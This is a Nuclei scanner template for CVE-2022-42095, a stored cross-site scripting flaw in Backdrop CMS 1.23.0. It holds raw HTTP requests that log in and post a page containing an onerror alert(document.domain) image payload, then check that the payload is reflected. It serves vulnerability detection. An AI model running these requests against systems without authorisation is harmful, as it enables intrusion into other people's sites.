85 lines
3.1 KiB
YAML
85 lines
3.1 KiB
YAML
id: CVE-2022-42095
|
|
|
|
info:
|
|
name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.
|
|
remediation: |
|
|
Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
|
|
reference:
|
|
- https://github.com/backdrop/backdrop/releases/tag/1.23.0
|
|
- https://github.com/bypazs/CVE-2022-42095
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-42095
|
|
- https://backdropcms.org
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 4.8
|
|
cve-id: CVE-2022-42095
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00344
|
|
epss-percentile: 0.68451
|
|
cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 5
|
|
vendor: backdropcms
|
|
product: backdrop_cms
|
|
tags: cve,cve2022,xss,cms,backdrop,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /?q=user/login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /?q=user/login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
|
|
- |
|
|
GET /?q=node/add/page HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /?q=node/add/page HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
title={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save
|
|
- |
|
|
POST /?q={{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "status_code_5 == 200"
|
|
- "contains(header_5, 'text/html')"
|
|
- 'contains(body_5, "<img src=\"x\" onerror=\"alert(document.domain)\" />")'
|
|
- "contains(body_5, 'Backdrop CMS')"
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: form_id_1
|
|
group: 1
|
|
regex:
|
|
- 'name="form_build_id" value="(.*)"'
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: form_id_2
|
|
group: 1
|
|
regex:
|
|
- 'name="form_build_id" value="(.*)"'
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: form_token
|
|
group: 1
|
|
regex:
|
|
- 'name="form_token" value="(.*)"'
|
|
internal: true
|
|
# digest: 4b0a00483046022100fb9f5ff30d5ce0337b88bdc95f090fce59ef50159d6d95e03067c356124b31b2022100b8aa2d79f08b0f6b3c414b2473fad83fc432582faf7e5fc43ae8e18336e21884:922c64590222798bb761d5b6d8e72950 |